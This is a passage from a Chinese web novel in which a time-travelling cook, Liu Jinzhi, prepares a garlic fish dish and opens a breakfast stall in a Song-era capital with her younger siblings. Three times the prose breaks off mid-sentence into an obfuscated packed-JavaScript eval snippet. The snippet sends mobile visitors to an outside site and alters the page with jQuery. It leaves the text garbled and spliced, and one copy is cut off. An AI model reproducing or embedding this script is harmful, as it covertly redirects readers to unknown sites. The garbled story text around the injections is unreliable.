蔡老只瞥了她一眼，就端着菜盘绕出了膳房。 膳徒却满眼新奇，在一旁道：“柳娘子，这尾鲜鱼是位老食客付了银子叫咱馆子买的。没点名要什么菜式，只叫蔡老拣拿手的做来。你打算怎么处置？” 若是不限定菜式，那便更好处理。 柳金枝勾唇一笑，道：“不如做一道蒜末鱼片。” 鱼片是种很常见的做法，就像现代很多人爱吃酸菜鱼片一样。 但可惜的是，现代随处可见的酸菜鱼饭馆大多采用预制菜，而并非捉活鱼现宰、现杀、现煮。 再加上这些预制菜也不过是用多种肉类打成沫，做成鱼片形状，当真吃起来，肉质软滑、口感古怪，并不似活鱼肉一般越吃越香，反而越吃，越觉得自个儿只是在吃鱼锅里头的八角、花椒等重口味调料而已。 所以在现代时，她很不喜欢出去下馆子，总是埋头在家里下厨。 预制菜，当真是现代美食爱好者的头等大敌。 柳金枝挑拣了一把重量均匀的菜刀，牢牢握在手中，先将鱼鳞尽数刮干净，再把鱼头切下，单独破成两半。 随后菜刀更换成片刀，把鱼放平，用右手扣住鱼身，在鱼的中心骨上面下刀，一路往下切，片下鱼身上层的肉。 在尾部斩断后，再将鱼翻面，依样画葫芦，就可再度片下鱼身下层的肉。 中间就只剩下鱼骨，也不要浪费，更换砍刀将鱼骨剁碎，放在小碗里备用。 剩下的鱼身肉切去鱼骨，刀口放斜，便能片出一碗切口漂亮整齐的鱼片。 看见这么干脆利落的刀工，膳徒不由惊叹：“娘子好厉害的手上功夫！怕是要三伏三九都苦练不休啊！” 柳金枝谦虚一笑，手腕翻转，在鱼片身上撒入几搓盐、两勺淀粉、三勺料酒、还有些许辛辣芥菜根粉末，用手抓拌均匀，晾在一旁腌制半盏茶时间。 期间，柳金枝提起水桶，往烧的正辣的铁锅内倒入清水，盖上锅盖。 大火猛烧之下，锅内清水很快沸腾。 蹲下来抽去大半柴火，将大火改为小火，她才将腌制好的鱼片依次下锅，慢慢熬煮，待看见雪白的鱼肉内质慢慢变为实白，周遭泛起鱼香，再将之捞起备用。 切记，此处的鱼肉万不可太晚捞出，否则水煮过甚，使肉片口感变老，吃到嘴里就不鲜滑爽嫩了。 好在柳金枝一直盯着火候，捞起的鱼片色泽、熟度都刚刚好。 接下来，就是预备调料的事儿了。 都说吃货应该去宋朝，实在是因为宋朝的各类制作工艺，特别是饮食方面，实在是登峰造极。 北宋时期，宋朝就出现了“素食”，并且独立成为一个菜系。为了给没有肉油煸香的“素食”调味，宋朝膳工们居然用上了植物油—— 花椒油。 于是花椒油就伴随着花椒一同在宋朝风靡，被广泛使用于各类菜肴之中，特别是冬季，御膳工们还会用此来给菜品提味，温中驱寒。 但是此类调味品仍然不能够满足宋朝人的胃口，于是在从陆地吃到河里，再吃到海上之后，北宋人发现有一物名唤海蛎子，也就是现在所说的生蚝，格外鲜美多汁，好吃到让人上瘾。 可野生海蛎子产量不多，又限制于季节，无法叫所有宋朝人都一饱口福。 为了扩大生产，北宋人就开始办起了养殖场，先是以“插竹养蚝”的方式人工饲养，后又大肆开办养蚝厂。 不过当时催办养蚝厂的人肯定想不到，在多年以后，竟然有人能由海蛎子身上提取出一种后世常用的调味品—— 蚝油。 柳金枝现下所处的朝代虽然架空，但时间线偏于宋朝后期，也就是说，蔡氏饭馆的调料罐里早就存了花椒油与蚝油两样。 而掀开罐盖子一瞧，也果真如此。 于是柳金枝取生抽一勺、蚝油一勺、老抽半勺、少量清水并适量花椒油，放置在一只酱料小盏之中，用竹箸搅拌均匀，静置一旁待用。 尔后又洗干净铁锅，塞入柴禾调成大火，猛烈烧枯锅中水分，绕圈淋上芝麻油，将膳房内本就洗净备好的蒜瓣放入锅中，反复煸炒，炸出蒜香。 再用勺子舀出两勺豆瓣酱放入锅内进行调味、调色。 当锅内汤汁逐渐变得鲜红滚辣，就趁热打铁倒入鱼片大幅度翻炒。 热辣辣的锅底将汤汁灼烧的滋滋响，嫩鱼片每被翻炒一次，都能全面滚过锅底，吸饱香辣底汁。 再将早就调好的料汁泼在鱼片身上，持圆头长柄大勺颠锅翻炒。 油落入火中，嘭的蹿出半人高的火舌，直冲屋顶！ 膳徒被唬了一大跳，柳金枝却趁此翻锅落勺，利落将蒜末鱼片装盘。 “这膳房里是闹什么动静？怎的外头食客说见着火光冲天？！” 蔡老满头大汗，急急忙忙掀帘子进来。 “柳娘子，你莫将老朽的膳房烧……” 话说到半头，却似卡壳了一般再说不出分毫。 “好香的味道。” 蔡老的眼睛不由盯上柳金枝手里那盘菜，半晌才反应过来，震惊又不可思议。 “这是那条鱼？！” 柳金枝对着蔡老福身，笑道：“借用了贵馆些许调料，但也总算是不辱使命。” 将手中鱼转交给了蔡老。 离得近，这鱼香味儿更是浓郁，蔡老忍不住多闻了两口，只觉得口中生津，比他自己做的更加诱人。 若是把这鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458084|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呈给那位相公，他这嘴上也有说辞了。 于是赶忙转出膳房。 饭馆内，一名身着栗色外袍，披玄色大氅的青年男子正与一二友人对坐。 而男子旁边还坐着个年轻郎君，深绿色外袍，生的眉眼如清风朗月，金质玉相，文质彬彬，只是简单端坐在此，这四周都仿佛亮堂了不少。 “我知你来是为着什么。”青年男子满心担忧，“你姐姐自从有孕，就一直饮食不佳。为求她用膳顺遂些，我一直每日都买些她爱吃的带回去。她以前最爱吃蔡老做的鱼，我今日正是为此而来。” 傅霁景点头：“家父、家母也对此颇为忧虑，总叫我过府探望姐姐。今日我与姐姐相见，她却思虑不安，因说太常寺膳堂修缮，姐夫理应归家，但候了许久也不见姐夫身影，就嘱咐我出来寻你。” “嗐，我本是想买好鱼就回去，没成想今日这蔡老手脚这么慢，我等了许久都不见菜影，着实怠慢！” 柴靖脸色难看，眼中隐有怒火。 “许太医早就叮嘱你姐姐，孕中切忌多思，怕她胎动不安。现下都怪我，又招惹你姐姐不好了。” 言罢，再等候不得，直接起身要去膳房催促。 谁知正走到半道，蔡老就已经满脸堆笑地迎了上来，将一只精致食盒递来，口中连连赔罪道： “对不住了柴相公，今日膳房忙乱，耽搁了您的时间，小老儿给您赔罪了。” 柴靖本是不耐，但因心中记挂夫人，也就不与蔡老多搅合，只将这食盒一拿，道： “蔡老如此怠慢，想必这鱼的滋味应当比往日更甚。若我家夫人用的还算欢心，此事就此作罢。但若菜做的敷衍，我少不得要与你多做理论！” 尔后转身就走。 这般行事却叫人意想不到，将蔡老吓的不轻，慌张看向傅霁景。 傅霁景叹了口气，拢袖替柴靖致歉：“蔡老莫慌，我那姐夫性子急躁些，总是喜欢口不择言，惊扰您了。” “那、那这柴相公日后不会真来寻老朽麻烦吧？”蔡老语气惶恐。 “有我姐姐管着，他自然不会。”傅霁景道。 “那老朽便安心了，多谢郎君。”蔡老赶忙叉手下拜。 傅霁景摇摇头，陪同余下的几位太常寺官员一起离开。 款步行至门口时，听见身后蔡老似又庆幸，又似感激地说： “柳娘子，这回当真是多谢你了。来日你在太常寺边支起食摊，老朽必然送来利是红包，贺你生意兴隆！发财利市！” 傅霁景脚步一滞，回眸看去。 像是才从膳房里钻出来，少女一脸热汗，双颊也被蒸得红扑扑的，青丝零散，一小绺一小绺贴在白皙脸侧。可她似毫不在意，只抬起手随意擦去额上汗珠，双眸明亮如镜，红唇一张一合，对着蔡老不知在说些什么，却是眉开眼笑，十分开心的样子。 船上见面时柳金枝一言一行宛若大家闺秀，拘谨有礼的很，此时笑起来，倒像个不谙世事的邻家少女，大胆又充满着生机活力。 傅霁景不由一愣，尔后似是意识到自己犯了“非礼勿视”一戒，连忙转过头，耳尖发红，却再不敢看柳金枝了。 尔后，柳金枝与蔡老正好从蔡氏饭馆走出。 蔡老将一纸红底黑字告示贴于门板之上，笑道：“娘子手艺高超，又不吝出手相助，老朽自当投桃报李。” 柳金枝看向那方告示，只见其上大字书写—— “柳氏食摊，拟定隆兴十一月二十三辰时一刻，于太常寺外街盛大开业！” 11. 馉饳、馄饨 回到柳家旧宅时，柳霄已经将整日购买的东西安置妥当，正坐在烛火底下念书，月牙就乖巧地蹲在他身边玩耍。 只是让柳金枝意料不到的是项志轩居然也在，见着她便叉手下拜，满脸是笑：“柳娘子怎的才回来？倒叫在下好等。” 柳金枝疑惑而笑，道：“不知项郎君因何等奴？” “嗐，全是因着娘子今日一早给在下送的那碗烩面。”项志轩不好意思地挠头，“今日我有一同窗来寻我一同温书，却不想瞧见了娘子那碗烩面，就央告我分他尝了两箸。” “谁知这怪行货子五脏庙里头闹馋虫，尝了以后就不肯罢休，好说歹说又要了我半碗去。” “他吃的起兴，来问我膳工是哪位？要请回家去包私。我道出是位未出阁的年轻娘子，他便不提这话，而给了我这锭银子，央求娘子明日若再做朝食，不拘是什么，好歹给他留一份儿。” 柳金枝打眼一瞧，那锭银子应有一二两重。 现下家里正是愁银子的时候，她自然没有理由不答应。 “既是项郎君同窗的事儿，奴自当应下。”柳金枝微笑，“明个儿奴便做好朝食送到郎君家。” “若是娘子不嫌麻烦，也帮我留一份儿吧，这里是一两银子。”项志轩也递来一两。 可见今日他那位同窗又争又抢的，害得他只吃了半碗烩面，现下嘴里还在发馋。 柳金枝自然也是答应，拢袖收起银子。 这喜得项志轩连连叉手又拜了几拜，这才转回了自个儿房间。 柳霄见柳金枝终于得了空闲，就放下书本，起身去小膳房的蒸笼里取出一个用油纸包好的包裹递给柳金枝。 柳金枝拆开来，发现里头竟装了两个形容完好的炊饼。 这玩意儿武大郎也卖过，现代还衍生出武大郎烧饼，但烧饼是烧饼，炊饼却是馒头。 宋朝市面上，叫“饼”的食品至少有十几种，比如“环饼”是麻花、“索饼”是面条，而“乳饼”竟是奶豆腐。 但是古时候的筛面粉技术并没有现代的好，馒头也不如现代一样属于精细面食，反而有些粗糙剌嗓子。 “这是你专程给我买的？”柳金枝笑问。 “嗯。”柳霄抱起月牙，语气带着愧疚，“你在外面和那些人说话，肯定忙的吃不上饭，我就买了炊饼给你垫垫肚子。本来还有更好的顶皮酥果馅儿饼子，但我银钱不够，只能将就将就了。” “不将就，我就爱吃这个。” 柳金枝笑着摸摸柳霄的头。 还怕柳霄心思敏感不信她，就特意去膳房翻了碟酱瓜出来，将瓜包夹进馒头里，大口大口地吃。 柳霄见她狼吞虎咽，不由一笑：“哪家娘子像阿姐你这般吃相？”一面又给倒了杯清水递过来，“小心，别噎着。” 柳金枝接过清水一饮而尽，抹了一把嘴，笑道：“告诉你们个好消息，我今日已经与饭食行还有蔡老商议好了，明日辰时一刻，咱们柳氏食摊就在太常寺边儿上盛大开业！” “第一日做吃食，必然要一炮打响名气，把名声炒的红红火火，才能从早被挤占的市场中分一杯羹。” “所以第一，咱们得保证朝食味道好吃、种类繁多、价格实惠。我已想好了单子牌面，晚些时候写给你，你背下来，待到明日唱和给食客们听。” “第二，是银钱进账问题，咱们得写个账本，但我对这方面不甚精通，还是只能交与你来做。每日出账、入账都要计算清楚。” “第三，你写字好看，得动笔替咱家写个旗招子。就叫‘柳氏食摊’！上边儿再画个柳叶儿图案，这样就是不识字的，也不会找错地方。” 柳霄自然是点头。 许久不出声的月牙却扯扯柳金枝衣袖，仰着小脸问：“那阿姐，我做什么呢？” 这倒难为柳金枝了，月牙才五六岁，能做什么呢？ 她只好笑道：“月牙年纪还小，等再大一些再来帮阿姐好不好？” 谁料月牙一本正经道：“阿姐莫要瞧我年纪小，就以为我帮不上什么忙，我可厉害着呢！” “以前哥哥没银子买书看，就常带我去书斋背书。一篇文章，哥哥背前半篇，我背后半篇，回家后一起默出来，就不用花银子了。” “有时候我背的比哥哥快，还能多默一篇文章出来。” “阿姐你又叫哥哥背单子牌面，又叫他算账、理账、写旗招子，不如叫我来背，我保管一个字都不会错！” 柳金枝倒惊讶月牙有这本事，笑道：“空口白牙可不算数，我当场写一纸出来，你若是在一刻钟之内背会了，我就把这事儿交与你办。” 于是提笔写菜名，满满当当一页纸交给月牙。 月牙接过纸张便低头默背，神色专注认真。 柳金枝抬眸看柳霄，柳霄却笑着对柳金枝点点头，眼眸里满是骄傲和自豪。 看来对自家妹妹背下这页单子牌面胸有成竹。 果不其然，用不了一刻钟的时间，月牙就把单子牌面交还给柳金枝，道：“我已在心中默熟了，这就背与阿姐听。” 言罢，清清嗓子，张口便道：“热粥与汤羹有小米粥、红豆粥、绿豆粥、灌肺、炒肝。面食与点心有包子、饺子、炊饼、糯米团子、荞麦饼……” 等月牙摇头晃脑背完，竟果然是一字不差。 柳金枝高兴地将月牙一把抱起，满心欢喜道：“想不到霄哥儿于算经一途天赋异禀，月牙又有过目不忘之能！咱们柳家人才辈出！” 月牙虽然早慧机敏，但毕竟还有孩童的几分羞涩内向，被柳金枝这么大肆一夸，倒不好意思地脸红起来，连忙扑腾着两条短腿滑溜下来缩到一边了。 柳金枝却不肯放过她，绕着圈儿地要去逗月牙，把个孩子逗的满脸羞红。 柳霄在旁边看她们玩闹，眸中笑意深深。 等到两人闹够了，他才微笑道：“阿姐，你一个人要准备这么多朝食定然忙不过来。卯时的时候我也来与你一同做，你支使我打些下手。” “你既如此说，那阿姐可不与你客气。”柳金枝将一缕青丝挽于耳后，双眸亮晶晶的，“毕竟明日早晨可是有一场硬仗要打的！” 一般食贩卖朝食，差不多都得做十几个扇笼。就说一个扇笼里放十个饼子，那柳金枝也得揉两百多个面团。 这是项大工程，两个人忙活也得好一阵。 所以天还没亮，柳金枝就提着红纸灯笼悄悄掀开暖帘，和柳霄一起钻进了膳房。 作为一个新上任的膳徒，柳霄虽然手艺生疏，但胜在听话，指哪儿打哪儿，做事一丝不苟。 所以揉面之类的精细活儿就全由柳金枝包揽，只一时吩咐柳霄道：“去将灶眼烧起两口。” 又一时说：“去打桶水将这些扇笼刷洗了。” 又一时高声道：“霄哥儿，再拿两个盆来装面团，盖层湿纱布等面性醒满！” 柳霄被支使的团团转，累的汗流浃背，忍不住双手扶住膝盖，停下喘息片刻。 但只是这片刻，左边那口灶眼火就小了。 柳金枝抽空飞快瞟了一眼，催促道：“霄哥儿，赶紧添柴！” 柳霄擦擦汗，费力将柴禾拆开塞入灶眼，脑中却莫名闪过那日柳金枝和月牙的对话： “阿姐的厨艺是向谁学的？” “孙府的膳工们。” “那些膳工们凶吗？” “很凶。” 以前的阿姐连锅都能烧坏，现在对厨艺却好似有十足把握。 也许在当年的孙府膳房内，阿姐也这么被支使过吧？ 忙得团团转，却又歇不下来，一边挨骂，一边赔笑，一边却又累得筋疲力尽也不敢停。 阿姐其实过得一点儿也不好。 柳霄抿了抿唇，默默抬眸看向柳金枝。 柳金枝毫无察觉，还在尽力揉面，面色专注认真，那张清丽的脸庞上沁出细密汗珠，顺着流畅的脸蛋线条往下淌，濡湿浅色衣领交叠的脖颈。 “霄哥儿，去给我把擀面杖洗洗。”柳金枝头也不抬。 “……好。” 柳霄抽了抽鼻子，低头站起来去了。 柳金枝瞥了一眼柳霄的背影，似是觉得不对，但又没想出个所以然，就还是低头揉面。 费力将几盆子面都揉完，柳金枝甩了甩酸痛的胳膊，却来不及休息，又预备着做馅料。 今日她预备着做的几样面点，大多都得加馅儿。 考虑到宋朝人口味，她预备拌两盆不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时至今日，浙南山区的人们还在使用这种方法，可见从古至今，大家都对蘑菇颇为偏爱。 而且买这一袋蘑菇也不贵，约莫二十来文。 柳金枝取了一半野山蕈出来洗净、切碎，接着又起锅烧油，将这些碎野山蕈来回翻炒到菇肉疲软，沁出汁水，就捞出放凉备用。 又把冬笋也洗净切碎，放入滚水中焯到熟，捞起来过凉水。 把两者混合倒入盆中，依照拌“猪肉白菜馅儿”，取盐、蚝油、菜籽油等。但与前者不同的是，野山蕈与冬笋本就都是植物，若全然用植物油，就少了肉类的一丝醇香，于是在此之前，还要额外放一些猪油进去。 如此搅拌均匀，这盆“野山蕈冬笋馅儿”也就好了。 此刻面性也已发满。 柳金枝干脆利落地揪拽了一团拍在面板上，接过柳霄递来的擀面杖，来回擀出一张女子巴掌大小的，四四方方的面皮，却不薄，倒像豆腐千张一样厚。 先是拖在手上，用勺子挖一大勺猪肉白菜的馅料填装进去，然后用手沿着对角线折起来，捏紧边缘，像是一个直角等腰三角形。再把两个角合拢，叠压捏紧。 这样就包成了一个小孩拳头大小的莲花，中间的花苞像含苞待放的骨朵。 这便是宋朝大街小巷都能看得到的平民美食——馉饳。 以现代人的眼光看，宋朝人的馉饳其实就是馄饨，但吃的花样比现代多，既可以煮着吃，也可以用铁签子串成一串，用火烤着吃。 想象一下像吃烧烤一样吃馄饨，就不由觉得好玩又好笑。 柳霄手艺笨拙，不知怎么包，就在旁边默默瞧，时不时给柳金枝擦擦汗。 约莫两刻钟后，柳金枝包好了两百余个，暂时放在笼子里，盖上层纱布放好。 尔后又开始包饺子。 宋朝把馄饨叫成馉饳，却把饺子叫成馄饨。 但不管怎么说，饺子的做法要比馉饳简单多了，不用做那么复杂的莲花造型，只用把封口封的结实漂亮就好。 这时候柳霄终于能帮得上忙，赶紧洗净手，套上襻膊过来，将活计都抢了过去，要包猪肉白菜和野山蕈冬笋的各一百五十个。 柳金枝让给他，自己又去做剩下的吃食。 样样准备齐全时，天边已经亮起半轮朝阳。 柳金枝擦擦汗，挑拣了几样朝食给项志轩和其同窗留下，道：“时辰差不多，咱担着担子走吧。” 柳霄点头，去叫了月牙洗脸刷牙起来，一家三口就租了辆驴车，将膳房里锅炉、扇笼、旗招子、小杌子等等器具都绑好，一路往御街去了。 12. 早市开业 一路行到太常寺对面，柳金枝将项志轩给的银子称出来五钱兑了铜子，便让柳霄将旗招子扬手一抖，高高挂起来。 此时已是卯时左右，街面已有行人来去，对这街面上多出来的一家新食摊亦是有些好奇。 趁此机会，柳金枝直接站上台阶，提高声量道：“诸位！走过路过莫要错过！咱们今日柳氏食摊正式开业，有铜钱开路，封利是红包！” 柳霄为了给柳金枝助声威，找隔壁米粮铺子借了个铜锣，大力敲击：“来来来，瞧一瞧！看一看！有利是红包！” 月牙也跟着出力，来一个人她就给人家鞠一躬，小身板摇摇晃晃，憋红了脸，道：“欢迎欢迎！” 若说有个食摊开业，众人倒没什么稀奇可看，但一听有利是铜子拿，立即就有人凑了过来瞧热闹，结果发现这新食摊还是拖家带口来开业的，做主的似乎还是个年轻漂亮的小娘子，不由觉得新奇。 但不拘是抱着什么想法，人总算是聚拢了一些。 柳金枝清清嗓子，提高音量道： “奴就是柳氏食摊的摊主，诸位大可唤奴一声柳娘子。” “今日在贵宝地开业经营食摊，早上兜售朝食，夜市也卖热菜。” “只要是您叫得上名字的，奴都能设法为您一一做来！寻常人家的饭食，咱家更是准备齐全！” 月牙立马接上话茬，小脸绷得紧紧的，一本正经道：“我们食摊上，冬日里有馉饳、包子、兜子、角子各类面点，还有……” 不愧是过目不忘，月牙一口气流利背出至少三十余种饭食，叫周围人面露惊奇之色，直夸赞： “好乖觉的娃娃！” “倒是没见过这般形式，当真新奇。” 同时，因着昨日蔡老襄助，现下也有人开始想起： “这个柳娘子虽然从未听过，但我昨日见到蔡老门前贴有一张红纸，特意介绍了柳氏食摊。” “蔡老在御街开店几十年，由他介绍的人必然不会有错。” …… 蔡老算是一个活招牌，柳金枝自然不吝惜于蹭蹭蔡老的热度。 于是她再度提高声音，笑道：“奴入食饭行，所拜行老就是蔡老。蔡老言传身教，所以奴摊上所有饮食必然价钱公道，用料实在！” 随后一抖茄袋，露出百十来个铜子。 “今日开业后，还要仰承各位父老乡亲们支持，今日将这利是喜钱洒与诸位，大伙儿一同沾沾喜气！” 便伸手一抓，抛着弧线洒出去，刹那间引起十几双手高举空中争抢。 与此同时，耳边传来几声鞭炮锣鼓齐天响，炸的红纸满天飞。 原来是有两个小子举着竹竿，一边燃放鞭炮，一边跑近，笑着恭贺柳金枝开业大吉。 再抬头一看，对街之处，蔡老站在蔡氏饭馆门前对着柳金枝遥遥叉手一拜。 原来这两个小童是蔡老请来，以鞭炮齐鸣祝柳金枝开业大喜。 柳金枝一笑，便也遥遥对着蔡老福身回礼。 正好众人已弯腰拾取了铜子，念在铜钱开街的面上，在柳氏食摊前面排起了长队。 柳金枝跳下台阶，招呼食客： “您要的炊饼两个，拨鱼儿一碗，承惠十五文！” “馉饳二两，承恵十文，我替您新鲜现煮，您旁边请好！” 柳金枝闪到一边下锅煮馉饳，柳霄则默契的闪身顶上，继续在摊前招揽生意。 月牙人矮个子小，站起来都没食摊高。眼瞧着帮不上什么忙，急得跟什么似的。 好在目前食客众多，又老有人点些个汤汤水水，柳金枝叫月牙去跑去问蔡老借了两套桌椅，摆在食摊旁边，让客人好坐下来慢慢享用。 月牙也就顺理成章的成为了“侍应生”，专管收盘子、洗盘子、擦桌子。 只是目前食摊上生意火爆，客人来了一拨又一拨，给小姑娘忙成了脚不沾地的旋螺。 柳金枝忙碌之余，抽空瞧月牙一眼。 小小的孩子坐在小杌子上埋头洗碗，腰深深弯下去，恨不得把自己也摔进盆里，却来不及休息，因为刚洗完一堆碗，便又有客人吃完，于是赶紧起来收拾桌椅板凳。 柳金枝心中微酸，心里默念： 一定要赚钱！一定要赚钱！ 她不愿意月牙过这样的苦日子！ 日头渐渐西移，御街人不减少，反而越来越多起来，整条街仿佛复苏了一般，逐渐人声鼎沸。 甚至还可以看见不少着茄紫、绯红、天青等颜色官袍的大人，一个个拉脸怂眉，极其疲惫，面如菜色般从宣德门缓缓走出，仿佛在皇宫中经历了一场饥荒。 有不甚讲究的武将，都顾不得礼数，急急忙冲到一个食摊面前，掏出银子就道：“来三大碗汤饼！” 汤饼就是面。 一口气要三大碗，可见这人要被饿急了眼。 但周围食贩对此见怪不怪，反而打趣着笑道：“卖汤饼的，快些做，当心王将军饿极了晕死在你摊上，到那时可分说不清楚。” 众人一同哄笑。 把个王将军急的大声反驳：“这事儿都过去几年了，你们怎么还笑我？要是叫你们一大清早也饿他个半日，一连饿上十多年，我瞧你们晕不晕。” 众食贩又笑，但都捧了自家兜售的朝食过去请王将军享用，王将军也不与他们生气，一一结过银钱，便埋头大快朵颐。 柳金枝略微疑惑。 当年柳家父母还在时，曾供柳霄念过几年圣贤书，因而柳霄在一旁解释道：“汴京城的高官们都得赶在五更之前去上朝，到辰时方才能散。” 五更是凌晨三点至五点，而辰时是上午七点到九点。 这么一算，宋朝官员每个人得饿着肚子，在皇宫里头像根棍子一样杵最多六个小时！ 这要是遇上些血糖不高的官员，几天下来，不知要在皇宫里晕几回。 难怪这群人出来就一副面如菜色的模样。 都是活生生饿出来的。 不过此时就显出将食摊开在御街上的好处了，除却行人以外，这群官员就是最好的客户。 宋朝重文，每个文臣都有丰厚的俸禄。 所以这群人不仅有权，还很有钱！ 柳金枝与柳霄对视一眼。 她清了清嗓子，深吸一口气：“卖朝食咯！卖朝食咯！新鲜上好的馉饳！馄饨！拨鱼儿！现场下，现场煮！” 女儿家的声音又清亮又甜美，像是一汪清冽甘美的山泉泼进来，顿时吸引了不少官员的视线。 一部分稍微年轻些的官员不由调转脚步，笑道：“哪儿来的一个新食摊？咱们且去尝尝。” 近前一看，却见食摊上虽然摆放着的都是些寻常饮食，旁边诸多食客吃的却津津有味，时而还有人赞叹： “当真美味！” “柳娘子，再来一碗！” “我也再要一碗！” …… 官员们颇为稀奇。 当真有这么好吃？莫不是这位年轻娘子为了在汴京城站稳脚跟，刻意请来了几个托儿吧？ 几人对视一眼。 其中一位面白的清秀青年笑道：“柳……娘子？那些食客要多加一碗的是什么吃食？” 柳金枝对着几人福身，温声道：“回禀几位大人，是馉饳。” “有什么馅儿？” “白菜猪肉馅儿和野山蕈冬笋馅儿。”柳金枝眉眼带笑，清丽姿色晃得人目眩神摇，“不知几位大人喜欢什么馅儿的？” 面对美人洗手作羹汤，饭食好不好吃已经没什么要紧的了。 那青年便笑道：“那就野山蕈冬笋馅儿的，我们这五人一人一碗。” 手腕一翻，拿出一锭一两银子放在摊前。 柳金枝微笑：“是。” 于是利落挑拣了六十个馉饳赶入高汤之中，又请五人在旁边落座。 煮了约莫小一刻钟，几十个馉饳在汤中沉沉浮浮。 一看表皮已经略略发白，就知是熟了。 赶忙用笊篱捞起来，反扣入碗中，再放入葱姜蒜并老抽、酱油等调味，最后浇上一勺浓浓的高汤，热气滚滚冲天，香味儿扑鼻。 等到端上桌时，几人都有些新奇。 “居然这样香。”年轻官员拿起竹箸，“我先来试试。” 夹了一个馉饳咬了一口，眉毛便忍不住一挑。 他人见此，不由笑道：“怎的这幅表情？当真好吃？” 于是纷纷动箸。 没想到这一吃，便停不下来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458086|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这馅儿虽素，却格外鲜香美味。野山蕈鲜滑爽口，冬笋也清脆鲜香，这擀出来的面皮更是软滑弹牙，劲道的很！ 直到把汤底都呼噜呼噜喝完，几人才回过神来。 还以为美人下厨足够赏心悦目也就罢了，没想到这吃食着实好吃。 几人对视一眼，不由为方才的轻视颇为羞愧。便都站起来与柳金枝叉手行了一拜，又多买了好些面点，这才去了。 又卖了约莫两刻，官员们也散的差不多了。 此时却有位锦帽貂裘的俊美大官人，骑着俊俏白马款款过来，身后跟着两三仆从，各自肩上都挑着货物，似是要去哪家送礼。 男人本是目不斜视，但路过柳氏食摊的时候，余光瞥见柳金枝锅中高汤熬的实在醇香浓厚，就停下马来，吩咐身边奴仆去买了碗馄饨。 正好馄饨只剩最后十六个，柳金枝干脆就一块儿煮了递与他，笑道：“多的算奴送的，不多收您的银子，算是给官人您取个六数，愿您六六大顺，心想事成，得贵人垂青。” 柳金枝肚子里多的是吉祥话，又耳聪目明，常挑人希冀之处加以恭祝，所以人缘很好，遇到难处时也有贵人愿意伸手帮一帮她。 果然，柳金枝这话正中男人下怀，便居高临下地瞥了柳金枝一眼，见柳金枝居然还是名容貌清丽的年轻娘子，不免勾唇一笑，声音低沉富有磁性： “那便承娘子吉言。” 言罢又随手掷出一件黑影，柳金枝下意识伸手去接，却不偏不倚，正落在她手心。 打开一看，却正是一两碎银。 男人轻笑道：“娘子嘴甜，这是赏钱。” 尔后叱一声夹紧马腹，信步而去。 “赏钱便有一两，这也太大方了。” 有个外乡食客不由惊叹。 “你不知，那可是潘大官人！”本地食客不屑，“他家中经营许多铺面生意，田宅千亩，奴仆成群。平日里便是挥金如土，赏钱给一两又如何？” 另有食客道：“但这般殷实家底，潘家却至今缺一位主母，全是因为潘大官人一心奉养寡母。如今寡母害病，他现下正打点礼品要亲自去请御医瞧病，也不知能不能请到。” 原来不仅是个富户，还是位孝子，难怪听了她的话便打赏一两银子。 柳金枝看了看手中银子，转手抛给柳霄：“收起来，算是今日进账。” 柳霄也面露微笑，高兴地把银子收了起来。 由于柳金枝成本和人力都有限，所以做的东西不多，还没到午时，就陆陆续续卖的差不多了。 生意比想象中的火爆，算是一个开门红。 月牙迫不及待想要清点今日赚了多少钱，于是一家三口做贼似地窝进食摊里头，围坐在一起，扒拉着手中的铜板一个个数。 一文、两文、三文…… 柳霄拨弄着算盘，最后缓缓停下手，低声道：“如若不算那位官人给的赏钱，今天仅靠我们自己，就挣了四百五十文！” 竟然有四百五十文！ 月牙眼睛都瞪大了，嘴巴咧的大大的，难掩激动地扯着柳金枝的袖子：“阿姐！我们挣钱了！我们挣钱了！” 柳金枝也很高兴。 可是柳霄并不怎么激动，而是又拨弄起算盘，扣去了两个数，道：“我们虽然赚得多，但还没扣去成本。算上面钱、炭火钱、调料钱……咱们今天一上午所赚不过一百九十六文。” 平常市民一天净赚是百文左右，他们赚得一百九十六文已经算是不错了。 可是柳金枝的目标不仅仅只有赚得糊口钱。 她想要做夜市，想要将来有自己的铺面开饭馆，甚至于还想开座像樊楼一样的酒楼。 当然，万事开难头，她现在只有一个小小的食摊。 而想把这个小食摊做大做强，她还得重新装修摊子，买更多的桌椅，买好菜，买好肉，请专人帮忙…… 净成本必须得攒下五两银子才行！ 如果只靠他们自己挣的，却不知要猴年马月才能攒够十两。 唉。 柳金枝叹了口气，幽幽地想：要是现在能有一大笔钱送上门就好了。 正思钱若渴时，耳边却传来中年妇人一声不可思议的惊呼：“你、你是金枝？！” 13. 黑心娘舅 柳金枝回眸一看，只见对面站着个妇人，约莫四十五岁光景，相貌平平，却打扮的花枝招展，用粉将一张脸揩的死人一样白，却越发衬出她眼尾细纹。 这人哪怕是化成灰了，柳金枝也不会忘了她。 “我当是谁呢。”柳金枝冷笑一声，“原来是舅母啊。” 邓章氏顶着柳金枝冷冽的眼神，又见柳霄、月牙竟然都围簇在她身边，不由讪笑道： 